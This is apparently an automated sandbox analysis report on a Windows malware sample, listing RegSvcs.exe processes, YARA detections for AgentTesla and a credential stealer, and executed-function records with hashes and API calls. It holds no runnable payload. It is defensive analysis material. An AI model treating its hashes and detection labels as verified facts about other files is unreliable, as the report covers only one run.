Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:45:32
Start date:	21/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x200000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:45:32
Start date:	21/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x370000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:45:32
Start date:	21/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xd90000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2663210822.00000000030FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2663210822.000000000310F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2663210822.00000000030D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2663210822.00000000030D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	233
Total number of Limit Nodes:	12

Executed Functions

Function 04DE2D38 Relevance: 5.5, Strings: 4, Instructions: 497
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^f6, xrefs: 04DE32B7
Zku, xrefs: 04DE3296
/V-+, xrefs: 04DE3464
`yT, xrefs: 04DE3036

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: /V-+$^f6$Zku$`yT
API String ID: 0-1940165033
Opcode ID: 238a9a519862906d2be2a2904463104bb8f58aebc3575c95fb8d68be3e70179b
Instruction ID: 660e760a08700a1f6d6d57b60b30bf0e9badbcfbb1ee32e79183a9ee7c1bbcf0
Opcode Fuzzy Hash: 238a9a519862906d2be2a2904463104bb8f58aebc3575c95fb8d68be3e70179b
Instruction Fuzzy Hash: 22221774E15219DFDB14DFAAD9847ADBBB2BF89300F10C4AAD809AB354DB349981CF14

Function 04DE2D29 Relevance: 5.5, Strings: 4, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^f6, xrefs: 04DE32B7
Zku, xrefs: 04DE3296
/V-+, xrefs: 04DE3464
`yT, xrefs: 04DE3036

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: /V-+$^f6$Zku$`yT
API String ID: 0-1940165033
Opcode ID: d5bdc45d43e6b20a3768a170da2bc1713f14fe97697bca783227b5aa3ad63e50
Instruction ID: 2249b860bd6a4660e6058fc3e7c66059fb34d322a24cb736a362ffda937a59f5
Opcode Fuzzy Hash: d5bdc45d43e6b20a3768a170da2bc1713f14fe97697bca783227b5aa3ad63e50
Instruction Fuzzy Hash: 90220774E15219DFDB54DFAAD9847ADBBB2BF88300F10C4AAD809AB354DB349981CF14

Function 08E9B840 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/>X, xrefs: 08E9BACD
P,0e, xrefs: 08E9B89B
/>X, xrefs: 08E9BAD4

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: />X$/>X$P,0e
API String ID: 0-1511438267
Opcode ID: d1d8aadd9437742271b2a9757d9275781d7ebd0fd8495ec1875a65318df7e623
Instruction ID: 9f47c126f91ee7e6fd2a4fcc50421c11afa4e384de4d875e786ea7a5d5f85db9
Opcode Fuzzy Hash: d1d8aadd9437742271b2a9757d9275781d7ebd0fd8495ec1875a65318df7e623
Instruction Fuzzy Hash: D1C16771D0021ADFCF18CFA5D4808AEFBB6FF88351F11A529D405AB218DB70AA42CF94

Function 08E9B830 Relevance: 4.0, Strings: 3, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/>X, xrefs: 08E9BACD
P,0e, xrefs: 08E9B89B
/>X, xrefs: 08E9BAD4

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: />X$/>X$P,0e
API String ID: 0-1511438267
Opcode ID: db40dc22d268f021d019d20a1dd075c6cd1cd2c5b4784018607327370009fe3d
Instruction ID: 47a85f3af8c3e912119796117e0f15f4f93f3ed38efdbc01cfaea923b555cb38
Opcode Fuzzy Hash: db40dc22d268f021d019d20a1dd075c6cd1cd2c5b4784018607327370009fe3d
Instruction Fuzzy Hash: 10C19971D0021ADFCB18CFA5D4818AEFBB6FF88351B11A529D445AB214DB74EA42CF94

Function 08E9B828 Relevance: 4.0, Strings: 3, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/>X, xrefs: 08E9BACD
P,0e, xrefs: 08E9B89B
/>X, xrefs: 08E9BAD4

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: />X$/>X$P,0e
API String ID: 0-1511438267
Opcode ID: e548e951d3fc577fdb6c3c84be262e7099ad0cf3281520b195d54d5b86704617
Instruction ID: 57ec5fbbaa67c19b6a80a6126c44149056db8d2eb55c1afbd9c062b5a10428a0
Opcode Fuzzy Hash: e548e951d3fc577fdb6c3c84be262e7099ad0cf3281520b195d54d5b86704617
Instruction Fuzzy Hash: 03C17871D0021ADFCF18CFA5D4818AEFBB6FF88351B11A529D445AB218DB74EA42CF94

Function 04DE315D Relevance: 4.0, Strings: 3, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^f6, xrefs: 04DE32B7
Zku, xrefs: 04DE3296
/V-+, xrefs: 04DE3464

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: /V-+$^f6$Zku
API String ID: 0-867436096
Opcode ID: 2b0753d1b3b5573bf885db6f90fb005ce7a4a0ff26ef028f8435f3c68011ad05
Instruction ID: f123b835a453b8b93e90c6d51b3ded1c8b2c70aa2aaf025c9124c718cfbdff54
Opcode Fuzzy Hash: 2b0753d1b3b5573bf885db6f90fb005ce7a4a0ff26ef028f8435f3c68011ad05
Instruction Fuzzy Hash: AAA1F574E00259CFDB64DFA5D954BADBBB2BF88300F1085AAD809AB354DB319E81CF54

Function 04DE3148 Relevance: 4.0, Strings: 3, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^f6, xrefs: 04DE32B7
Zku, xrefs: 04DE3296
/V-+, xrefs: 04DE3464

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: /V-+$^f6$Zku
API String ID: 0-867436096
Opcode ID: e5d849a5bfe25afa6c515851443488520409b9e85f651882c95dadf6d1dba2be
Instruction ID: 890398c8a72de64d6cca73a6c55631aa1f227294bbaf3649d099d52d337ffd61
Opcode Fuzzy Hash: e5d849a5bfe25afa6c515851443488520409b9e85f651882c95dadf6d1dba2be
Instruction Fuzzy Hash: ADA1F674E00259CFDB64DFA5D954BADBBB2BF88300F1085AAD809AB354DB319E81CF50

Function 04DE31D0 Relevance: 3.9, Strings: 3, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^f6, xrefs: 04DE32B7
Zku, xrefs: 04DE3296
/V-+, xrefs: 04DE3464

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: /V-+$^f6$Zku
API String ID: 0-867436096
Opcode ID: 61ec23b408830e8d429c9b8931ddc44aa2cc5334bb9b67c577b150a724da9885
Instruction ID: d26453108820ee791c6da8fdb8d58dd5f8a043db18a7e48f56a5be58d4d6afdb
Opcode Fuzzy Hash: 61ec23b408830e8d429c9b8931ddc44aa2cc5334bb9b67c577b150a724da9885
Instruction Fuzzy Hash: 8F91D574E10229CFDB64DFA5D955BADBBB2BF88300F1081AAD809A7344DB319E81CF50

Function 08E9DEB0 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

p, xrefs: 08E9DF25

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: p
API String ID: 0-2181537457
Opcode ID: 886b12efdef19bd7278f7bf65562f69316cef0840792af4feb8522635c6be27b
Instruction ID: 7cd9dcfa7f73d14f25aa1f216c8e1a4e2d7c73a78ca5ed367e734c6b9970d9d8
Opcode Fuzzy Hash: 886b12efdef19bd7278f7bf65562f69316cef0840792af4feb8522635c6be27b
Instruction Fuzzy Hash: 81510671E01318CFEB68CF6AD940B8AFBB3BF89201F04D5A9D448AB215D7709A85CF55

Function 04DF80D9 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eba5e1cdd1729d871a0632619a8a067897cbc89d807c304c25ec1358cca9db2
Instruction ID: 28123447a25b89eed53a54cb5d1e57de76d665ee53d298d05233a67b9de14c58
Opcode Fuzzy Hash: 6eba5e1cdd1729d871a0632619a8a067897cbc89d807c304c25ec1358cca9db2
Instruction Fuzzy Hash: 20E1AC707016048FEB39EBA9C850BAEB7F6BF89305F154469E246DB290CB35E901DB61

Function 08E92558 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8831a4f67e52087b8ec4cc7c26f3195e1d416ffccd45995fdcd76f5d0bc9231
Instruction ID: 3d0f23f757f0b064b19e21cde0743ffaf57be3534604b25f608053275f04c304
Opcode Fuzzy Hash: a8831a4f67e52087b8ec4cc7c26f3195e1d416ffccd45995fdcd76f5d0bc9231
Instruction Fuzzy Hash: 9C12C775D1071ACFCB25DF68C880AD9F7B1BF49300F1196AAD958A7211EB70AAC5CF90

Function 08E92552 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2db6544e65cfbb32de96d15a0cefcc844551957b9639923480adccc7f10f619
Instruction ID: 27aafeb31841c3fdeddc0947942ab07232f48667dfa4c0957f2b557640772754
Opcode Fuzzy Hash: d2db6544e65cfbb32de96d15a0cefcc844551957b9639923480adccc7f10f619
Instruction Fuzzy Hash: 0412C775D0071ACFCB25DF68C880AD9F7B1BF49300F1586AAD958A7211EB70AAC5CF90

Function 04DE92D0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30cc0fc6acb2e21b7497d947480c37051c437f8edb3ca5e269b4182e8b333d4e
Instruction ID: 64720cc019e60715d9a24402e48a9ef05d4a502ffb3c9ff46ae203172493acf0
Opcode Fuzzy Hash: 30cc0fc6acb2e21b7497d947480c37051c437f8edb3ca5e269b4182e8b333d4e
Instruction Fuzzy Hash: E1911AB0E05219EFCF14CFA6D8945AEFBB2FF89310F10952AD405BB264E7349942DB14

Function 04DE92C0 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e0cde169267e8b2ee52784557054cfcbc47cc79ca2e834dccf76a3712ab81b6
Instruction ID: df78f6f89ee87dc720a24e6d9860a6fb9964e81a31fc2e9198346146f7971f3e
Opcode Fuzzy Hash: 0e0cde169267e8b2ee52784557054cfcbc47cc79ca2e834dccf76a3712ab81b6
Instruction Fuzzy Hash: 2D9118B1E05219DFCF08CFA6D8905AEFBB2FF89310F10956AD405EB264E7349942DB14

Function 08E997A0 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eafcc69be3b9d0db706ee514655c4e7c96ca90208b95857edb2b7ffc613447d
Instruction ID: f1bf4db856e4807cd93645469d0a918200e9d6d8351f889be22744ab1740f160
Opcode Fuzzy Hash: 3eafcc69be3b9d0db706ee514655c4e7c96ca90208b95857edb2b7ffc613447d
Instruction Fuzzy Hash: 9E81A0B5E002198FDB08DFAAC885ADEFBB2FF89310F14812AD815AB355D7745905CF54

Function 08E997B0 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 498d45f297e27df3af687116a0443e7eea9ea55c7bebcdc7643048ac587390e2
Instruction ID: 80e3a701b3408cefebc9f5ad13b4b764ca902b9347dee8e5ffa4122be31de2e9
Opcode Fuzzy Hash: 498d45f297e27df3af687116a0443e7eea9ea55c7bebcdc7643048ac587390e2
Instruction Fuzzy Hash: 9981A075E002198FDB08DFEAC884ADEFBB2FF89301F10952AD815AB255DB745905CF54

Function 08E99FD8 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6666f3827f2937ec9264a51aea4f5d0631f6b33814b757d52a3f4958c5573ba
Instruction ID: f9a00efa85ff0b00ee7191cb5b9eef743845ef7cc0d07c6ac881d8dff00abde8
Opcode Fuzzy Hash: d6666f3827f2937ec9264a51aea4f5d0631f6b33814b757d52a3f4958c5573ba
Instruction Fuzzy Hash: 545145B1E002298FDB08CFAAD8416EEFBF2FF89301F14D46AD459B7250D73499018B68

Function 08E99FE8 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c372351f4a3d073e0b86d3a748455cbcf2f4da232ca7b16dc36a8ccbc4876f5
Instruction ID: 74baa4c256186b81f0c643db81fe5d69339f028e8cb7b0066ae2b7544059a067
Opcode Fuzzy Hash: 3c372351f4a3d073e0b86d3a748455cbcf2f4da232ca7b16dc36a8ccbc4876f5
Instruction Fuzzy Hash: 5A5145B1E042299FDF08CFAAC9446EEFBF2BF89301F14D46AD459A7250D7745A018B68

Function 08E9A948 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28c36df400ed4e8dc447729d00affb0a719881339e0edf6ce9ec6ee48dee6d80
Instruction ID: 8c5e106fd01be08b4e298725eaa01cb6203ca7ae24fd3482d0a9dc62bf48f394
Opcode Fuzzy Hash: 28c36df400ed4e8dc447729d00affb0a719881339e0edf6ce9ec6ee48dee6d80
Instruction Fuzzy Hash: 6521F471E006188BEB18CFABD8447DEBBB7AFC8311F14C16AD809AA254DB7419558F90

Function 08E9A939 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a93de222f79e5999cd9d09644364600eb4626ea83838c6dcdaa41ff1cfe77715
Instruction ID: b30bac9007881e21b61ca18793e21b33c05b58402ed911d782d166d1c955d786
Opcode Fuzzy Hash: a93de222f79e5999cd9d09644364600eb4626ea83838c6dcdaa41ff1cfe77715
Instruction Fuzzy Hash: 7A21E9B1E006588BEB18CFAAD9443DEBBF3AFC9310F14C16AD408AA254DB740A46CF50

Function 04DF6599 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9105b82a975132d3d6feb06709599358b193e514ae1e21baea0584a9e44354a
Instruction ID: 8067bf25bcf0682bd75ec5b7cf6eba3ada61d34f469e4d4c3eed35247ea247d8
Opcode Fuzzy Hash: a9105b82a975132d3d6feb06709599358b193e514ae1e21baea0584a9e44354a
Instruction Fuzzy Hash: 21A00250F9F2148090711C500C014B4C03C420B664D5336081F9E338022C04F042245C

Function 0137D410 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0137D49E
GetCurrentThread.KERNEL32 ref: 0137D4DB
GetCurrentProcess.KERNEL32 ref: 0137D518
GetCurrentThreadId.KERNEL32 ref: 0137D571

Memory Dump Source

Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b7922af3d332df97bbe492a904e85a5e00b098aafdf826d10a3fe64b866ce8ec
Instruction ID: c6774d832c283dd9ac07bbb1643db630b5527d23582e5815cd91af3ae9137b56
Opcode Fuzzy Hash: b7922af3d332df97bbe492a904e85a5e00b098aafdf826d10a3fe64b866ce8ec
Instruction Fuzzy Hash: 755157B090074A8FDB24DFA9D548BEEBBF1FF88318F24845AE419A7360D7785944CB61

Function 0137D420 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0137D49E
GetCurrentThread.KERNEL32 ref: 0137D4DB
GetCurrentProcess.KERNEL32 ref: 0137D518
GetCurrentThreadId.KERNEL32 ref: 0137D571

Memory Dump Source

Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 36af5ac48b9393009ebd1bc8c7356f123c41c8596e611c2c19ec5a60c4540571
Instruction ID: 5e111ab9ac1687ebf0694a766ee417ffbf06476a2a62604baa79aa47a8b98027
Opcode Fuzzy Hash: 36af5ac48b9393009ebd1bc8c7356f123c41c8596e611c2c19ec5a60c4540571
Instruction Fuzzy Hash: 3D5148B09007498FDB24DFAAD548BDEBBF1FF88318F20845AE419A7360D7749944CB65

Function 08E9BE38 Relevance: 2.6, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8[W, xrefs: 08E9BECB
8[W, xrefs: 08E9BEC4

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: 8[W$8[W
API String ID: 0-3882825709
Opcode ID: a13c46994d7a08c58dad72dcb6cd0ac766b395955f8ed2dffe06fa8421fd360d
Instruction ID: 950ef4a1103ed1a83d33c72561995061c0a28cc56a4d4a0ca969923e4e3b7907
Opcode Fuzzy Hash: a13c46994d7a08c58dad72dcb6cd0ac766b395955f8ed2dffe06fa8421fd360d
Instruction Fuzzy Hash: 82318C71E0825ADFCB04CFB9D5405AEFFF5EF8A310F1495AAD045AB251D7308A41CB51

Function 08E9BE48 Relevance: 2.6, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8[W, xrefs: 08E9BECB
8[W, xrefs: 08E9BEC4

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: 8[W$8[W
API String ID: 0-3882825709
Opcode ID: 1791fbacc3cb223bd8dc8a08202db42449b5c917e1a1bfdb8aaa6e05b739c1e0
Instruction ID: 165ddbd9e5ab2ec581d940982bac1554e02eea34b94f78090ec61f2539e47f73
Opcode Fuzzy Hash: 1791fbacc3cb223bd8dc8a08202db42449b5c917e1a1bfdb8aaa6e05b739c1e0
Instruction Fuzzy Hash: 942137B1E09219EFCB04CFAAD9405AEFBF6BF89311F10E5AAD549A7210D7708B41CB51

Function 04DF2DA3 Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04DF2FDE

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1b3ac627cc260fd50ba9622886b9b4dbeae5cf93ddc68142458c3e3a336ee3c6
Instruction ID: dec70ea8fdcc845f53a7a2d78dbe3e0ac2612c126a815e911390e7bb45602a3c
Opcode Fuzzy Hash: 1b3ac627cc260fd50ba9622886b9b4dbeae5cf93ddc68142458c3e3a336ee3c6
Instruction Fuzzy Hash: D5918B71D00259DFEB20CFA9CC41BEDBBB2BF44314F1585AAE908A7240DB75A985CF91

Function 04DF2DA8 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04DF2FDE

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1e91ab7e8e060fafe7e88ae6b795d94a8afd4946d6309d21e46a5311487b53a6
Instruction ID: e7b8120e26e43048060b7229233480c6918b1d321af215c4a244849a9a5e83f8
Opcode Fuzzy Hash: 1e91ab7e8e060fafe7e88ae6b795d94a8afd4946d6309d21e46a5311487b53a6
Instruction Fuzzy Hash: 64917B71D00219DFEB20CFA9CC41BEDBBB2BF44314F1585AAE918A7240DB75A985CF91

Function 0137B188 Relevance: 1.7, APIs: 1, Instructions: 197COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0137B3DE

Memory Dump Source

Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7e6ac2150cb07b70ddd3fd74f1dc8091de7194e16bcc2017c04b57fba4504ff3
Instruction ID: 4571cb0b21d44cec63f4d696f1237da628048a4ee456aaaa445faed773b4ab32
Opcode Fuzzy Hash: 7e6ac2150cb07b70ddd3fd74f1dc8091de7194e16bcc2017c04b57fba4504ff3
Instruction Fuzzy Hash: B6713670A00B058FE734DF69D44579ABBF2FF88208F108A2DD49ADBA54D778E945CB90

Function 01375C9D Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01375D59

Memory Dump Source

Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0ba6ebb8da578bae94d32cd92d5db25c622fc0a975fb6e9be378cf3e6a48a36a
Instruction ID: 5ee5a226753466bfedb3b18e3e7abbefa70a188ee1e9798537fc805160f5cd42
Opcode Fuzzy Hash: 0ba6ebb8da578bae94d32cd92d5db25c622fc0a975fb6e9be378cf3e6a48a36a
Instruction Fuzzy Hash: 9141B2B0C00759CFEB24CFA9C844BDEBBB6BF49708F20846AD409AB251DB756946CF50

Function 013747F4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01375D59

Memory Dump Source

